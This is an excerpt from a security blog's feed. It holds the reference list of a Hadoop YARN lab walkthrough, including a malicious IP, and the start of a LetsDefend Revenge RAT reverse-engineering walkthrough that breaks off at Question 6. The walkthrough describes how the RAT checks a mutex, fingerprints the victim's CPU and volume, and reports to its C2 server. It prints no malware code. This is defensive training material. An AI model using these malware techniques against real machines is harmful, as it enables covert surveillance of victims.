challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for the fun lab scenario. This was interesting to me because, while the answers were straightforward, I realized I had no context or understanding of what was actually happening in the script. I decided to write this up to learn about &lt;strong&gt;Hadoop YARN&lt;/strong&gt; and interpret the results to shape a theory about the attack, rather than just check answers off a list. I hope that the additional research helped you, too!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Apache Hadoop Website:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hadoop.apache.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Apache Hadoop Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/docs/current/index.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hadoop.apache.org/docs/current/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tech Target — What is Apache Hadoop YARN?:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop%27s%20core,executed%20on%20different%20cluster%20nodes&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop&amp;rsquo;s%20core,executed%20on%20different%20cluster%20nodes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Manpages — LS:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Download IP&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/209.141.40.190/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/209.141.40.190/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — d.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Trend Micro — Threat Actors Exploit Misconfigured Apache Hadoop YARN:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Revenge RAT Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/</link>
            <pubDate>Mon, 25 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Revenge RAT Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--revenge-rat-challenge-walkthrough&#34;&gt;LetsDefend — Revenge RAT Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-malware-reverse-engineering-challenge-using-detect-it-easy-dnspy-google&#34;&gt;A Malware Reverse Engineering Challenge Using Detect-It-Easy, dnSpy, &amp;amp; Google&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re going headfirst into the world of &lt;em&gt;malware reverse engineering.&lt;/em&gt; An incident response team provided us with a &lt;strong&gt;Remote Access Trojan (RAT)&lt;/strong&gt; malware sample used during an attack on a fictional organization. Our job is figure out what the malware was compiled with, how it&amp;rsquo;s configured, and what it does.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the sample logs, we&amp;rsquo;ll leverage &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;dnSpy&lt;/strong&gt;&lt;/a&gt;, &lt;em&gt;a .NET debugger&lt;/em&gt;, and compare our analysis with some external research about the malware and its functions to give us comprehensive view of the attack. I&amp;rsquo;m still a newbie with my own reverse engineering skills, so we&amp;rsquo;ll have fun piecing this together. Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An attack on a company employed a Remote Access Trojan (RAT) disguised in seemingly harmless files. The RAT infiltrated the network and operated as fileless malware.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;DFIR analysts have extracted the malware. Now they need you to analyse the sample and uncover its secrets. By dissecting the binary, we can understand its behaviour, assess the damage, and devise a strategy to eradicate the threat, ensuring the organization&amp;rsquo;s security.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-compiler-is-used-for-thissample&#34;&gt;Question 1: What compiler is used for this sample?&#xA;&lt;/h3&gt;&lt;p&gt;All right, let&amp;rsquo;s kick off our investigation! The first thing we&amp;rsquo;ll do is extract the &lt;em&gt;sample.7z&lt;/em&gt; from the ChallengeFile folder and reveal the sample file — &lt;em&gt;f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, it&amp;rsquo;s always a good idea to get familiar with what tools are available for use within the &lt;em&gt;Tools&lt;/em&gt; folder. This is especially helpful for me since I&amp;rsquo;m still working to level-up my malware reverse engineering skills.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;357px&#34; data-flex-grow=&#34;148&#34; height=&#34;473&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8184de4b6e8def9332cb965d31c05563_MD5.png&#34; width=&#34;704&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have extracted the sample file and have gotten an overview of our tools, let&amp;rsquo;s start performing some analysis on the file.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;ll first need to understand what type of file the sample is so that we can determine the best tool for analysis. To do this, let&amp;rsquo;s gather some information using &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detect It Easy&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(DIE)&lt;/em&gt; which is a useful utility to identify the file type of a binary. We&amp;rsquo;ll launch this utility from the &lt;em&gt;Tools&lt;/em&gt; folder, then point it to the sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;135&#34; height=&#34;531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/9e01b511bb8ba8a6f816f3e48c276d66_MD5.png&#34; width=&#34;722&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Output from Detect It Easy (DIE)&lt;/p&gt;&#xA;&lt;p&gt;Once analyzed by &lt;em&gt;DIE&lt;/em&gt;, we&amp;rsquo;ll see a few key details that answer &lt;strong&gt;Question&lt;/strong&gt; &lt;strong&gt;1&lt;/strong&gt;. The sample binary is **.NET-**based and compiled with the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Visual_Basic_%28.NET%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Visual Basic (VB.NET)&lt;/strong&gt;&lt;/a&gt; compiler.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5_hu_8aa1546c9f128fa9.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8ab8869fe74304f6ca05affe5d542adb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-mutex-name-checked-by-the-malware-at-the-start-of-execution&#34;&gt;Question 2: What is the mutex name checked by the malware at the start of execution?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now we&amp;rsquo;re getting into the meat of the challenge.&lt;/p&gt;&#xA;&lt;p&gt;In the previous question, we&amp;rsquo;ve determined that the malware is &lt;em&gt;.NET&lt;/em&gt; based, so we should be able to use some of the &lt;em&gt;.NET&lt;/em&gt; decompilers from the &lt;em&gt;Tools&lt;/em&gt; folder. While I&amp;rsquo;ve used &lt;em&gt;JetBrains dotPeek&lt;/em&gt; in the past, I want to expand my horizons and try out a new tool this time.&lt;/p&gt;&#xA;&lt;p&gt;Only one problem, I&amp;rsquo;m not familiar with any of the other available tools. So, let&amp;rsquo;s back up and do some &lt;em&gt;Google&lt;/em&gt; research. But instead of searching for &lt;em&gt;.NET&lt;/em&gt; decompilers, why don&amp;rsquo;t we first see what research is available about the &lt;strong&gt;Revenge RAT?&lt;/strong&gt; By doing this**,** I stumbled across an excellent blog from &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Perception Point&lt;/strong&gt;&lt;/a&gt; containing some helpful information about the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  title=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT malware is back | Perception Point&lt;/strong&gt;&#xA;_In this blog post, we analyze the attack chain of a recent Revenge RAT malware campaign to better understand the&amp;hellip;_perception-point.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s so helpful in fact, that we&amp;rsquo;ll refer to it throughout the walkthrough to corroborate our findings. But most importantly for this task, it gives us an idea of a tool that we can use to view the sample&amp;rsquo;s code — &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;dnSpy&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;we can open the executable in DnSpy and view the code. Surprisingly, this malware&amp;rsquo;s code is readable and not obfuscated.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Sounds like this will fit the bill, so let&amp;rsquo;s jump into the &lt;strong&gt;dnSpy.&lt;/strong&gt; Once the sample is loaded, we can start with the analysis. Inside &lt;em&gt;dnSpy&lt;/em&gt; we&amp;rsquo;ll immediately see something identical to &lt;em&gt;Perception Point&amp;rsquo;s&lt;/em&gt; infographic — the executable name &lt;code&gt;Client.exe&lt;/code&gt; with the &lt;code&gt;Lime&lt;/code&gt; namespace below.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s expand the &lt;code&gt;Program&lt;/code&gt; class node and check out the &lt;code&gt;Main()&lt;/code&gt; method as a starting point. There are references to &lt;strong&gt;mutex&lt;/strong&gt; in a couple of spots. It seems that once the malware creates the &lt;em&gt;mutex,&lt;/em&gt; it pulls the name from the &lt;code&gt;Config&lt;/code&gt; class**.** Let&amp;rsquo;s check this out by clicking on &lt;code&gt;currentMutex&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;346px&#34; data-flex-grow=&#34;144&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c0869065a45a414c359469f2ab3b3328_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This jumps us directly into the &lt;code&gt;Config&lt;/code&gt; class which holds some interesting configuration strings including the name for the &lt;code&gt;currentMutex&lt;/code&gt;&lt;em&gt;.&lt;/em&gt; This should be the string that we need to answer &lt;strong&gt;Question 2&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;167&#34; height=&#34;479&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ade4565e194decfff1a8bf2ee0359864_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Config Class&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1907px&#34; data-flex-grow=&#34;794&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5_hu_5beded9ccf133c3.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/ee1ce4abfc9176b20041e7283c2d5078_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-function-was-used-to-get-information-about-thecpu&#34;&gt;Question 3: What function was used to get information about the CPU?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 3,&lt;/strong&gt; instead of stumbling through the code blindly, let&amp;rsquo;s refer back to the &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Perception Point&lt;/strong&gt;&lt;/a&gt; research to get some direction. Their research states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;[The first packet sent from the user&amp;rsquo;s computer to the C2 server contains lots of sensitive data related to the user&amp;rsquo;s computer. The data collected using a custom class presents the code named &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;IdGenerator&amp;quot;&#xA;. Below are some of the methods the class uses to retrieve sensitive data:](&lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Now that we have some idea of what to look for, let&amp;rsquo;s verify if we see the same result within our sample. Expand all the namespaces to locate the &lt;code&gt;IdGenerator&lt;/code&gt; class beneath &lt;code&gt;Lime.Helper&lt;/code&gt;&lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we&amp;rsquo;ll find several methods that appear to be collecting identifying data about the victim&amp;rsquo;s device — I&amp;rsquo;ll take a wild guess that &lt;code&gt;GetCPU()&lt;/code&gt;is responsible for gathering information about the device&amp;rsquo;s &lt;em&gt;CPU&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/a17682299a0ad1ea107aac5de8ccbeee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a quick review, we can confirm the answer for &lt;strong&gt;Question 3&lt;/strong&gt;. We&amp;rsquo;ll see that this function collects CPU information from the device&amp;rsquo;s &lt;em&gt;Windows registry.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5_hu_287717cf0a71ffe7.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/c9690666b9e37f8abaa961bef2f45c10_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-key-was-used-during-the---&#34;&gt;Question 4: What key was used during the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;SendInfo&amp;quot;&#xA;function?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s navigate to the &lt;code&gt;SendInfo()&lt;/code&gt;method, also under &lt;code&gt;Lime.Helper&lt;/code&gt; &lt;em&gt;,&lt;/em&gt; and locate the references to the &lt;strong&gt;key&lt;/strong&gt; variable. If we click it, we&amp;rsquo;ll be taken back to the &lt;code&gt;Config&lt;/code&gt; class where we can see the &lt;em&gt;string&lt;/em&gt; we&amp;rsquo;ll need to answer &lt;strong&gt;Question 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/097ba3b787ccb2a8ebde9b5fa45ffd36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/666fc581b3746debaf4eed8f918ce7bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1972px&#34; data-flex-grow=&#34;821&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5_hu_7c2cccec6e65ec0a.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/7e4fa8808022a9877ccb4621eff70055_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-api-was-used-by-the-malware-to-prevent-the-system-from-going-tosleep&#34;&gt;Question 5: What API was used by the malware to prevent the system from going to sleep?&#xA;&lt;/h3&gt;&lt;p&gt;From the previous questions, you may have already noticed another conveniently labeled class under &lt;code&gt;Lime.Helper&lt;/code&gt; called &lt;code&gt;PreventSleep&lt;/code&gt;. This sounds like exactly what we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;Once we click into the &lt;code&gt;Run()&lt;/code&gt;method, we can see a call being made to the &lt;code&gt;SetThreadExecutionState&lt;/code&gt;API:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/8b23aaac5ba031e2685e9dc63f26cf4d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To confirm that this is correct, we&amp;rsquo;ll check the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; page for this function where it states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Enables an application to inform the system that it is in use, thereby preventing the system from entering sleep or turning off the display while the application is running.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;There we go! Thanks to the convenient labeling and some external research, we&amp;rsquo;ve confirmed that we found the answer to &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5_hu_69ec68c3f528b41b.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/39cee711ce22f53b486284a4f6a853f9_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-variable-stores-the-volume-name-and-the-function-that-imported-the---&#34;&gt;Question 6: What variable stores the volume name and the function that imported the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;GetVolumeInformationA&amp;quot;&#xA;api?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6,&lt;/strong&gt; we&amp;rsquo;ll need to search for a specific variable that stores the volume name retrieved by the &lt;code&gt;GetVolumeInformationA&lt;/code&gt; API.&lt;/p&gt;&#xA;&lt;p&gt;For some context, let&amp;rsquo;s turn back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; where it&amp;rsquo;s documented that this function &amp;ldquo;Retrieves information about the file system and volume associated with the specified root directory_.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;So, to find this reference in the sample, let&amp;rsquo;s simply leverage &lt;em&gt;dnSpy&lt;/em&gt;&amp;rsquo;s search function and use the keyword &lt;code&gt;GetVolumeInformationA&lt;/code&gt;&lt;em&gt;.&lt;/em&gt; The search leads us to 